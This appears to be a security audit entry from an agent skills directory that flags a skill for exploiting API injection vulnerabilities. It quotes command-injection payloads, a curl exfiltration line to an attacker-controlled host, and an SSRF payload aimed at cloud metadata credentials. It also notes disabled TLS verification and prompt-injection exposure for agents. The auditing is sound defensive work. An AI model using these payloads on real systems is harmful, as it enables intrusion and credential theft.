The Agent Skills Directory

[COMMAND_EXECUTION]: The skill provides Python scripts and workflows designed to execute arbitrary OS commands on target systems through injection payloads.
Evidence: SKILL.md and scripts/agent.py list payloads such as ; sleep 5, | whoami, and $(id) for testing system command execution.
[DATA_EXFILTRATION]: The instructions include specific payloads for exfiltrating sensitive system data and targeting internal services or cloud metadata. The provided scanning tool also weakens communication security.
Evidence: SKILL.md contains the payload ; curl http://attacker-controlled-server.com/$(whoami) designed to exfiltrate system data to an external host.
Evidence: SKILL.md provides SSRF payloads targeting internal cloud metadata services (e.g., http://169.254.169.254/latest/meta-data/) to extract IAM credentials.
Evidence: scripts/agent.py uses verify=False in all requests.get and requests.post calls, disabling SSL/TLS certificate validation.
[INDIRECT_PROMPT_INJECTION]: The skill presents an attack surface for indirect prompt injection by accepting and processing untrusted target URLs and parameters for network operations.
Ingestion points: The args.url and args.params inputs in scripts/agent.py allow user-supplied data to control network request targets.
Boundary markers: The script does not implement boundary markers to isolate user input from the rest of the request logic or to protect the agent from endpoint responses.
Capability inventory: The skill utilizes the requests library to perform arbitrary HTTP GET and POST requests.
Sanitization: The script uses urllib.parse.quote() for parameter values, but does not validate the integrity or destination of the target URL.

exploiting-api-injection-vulnerabilities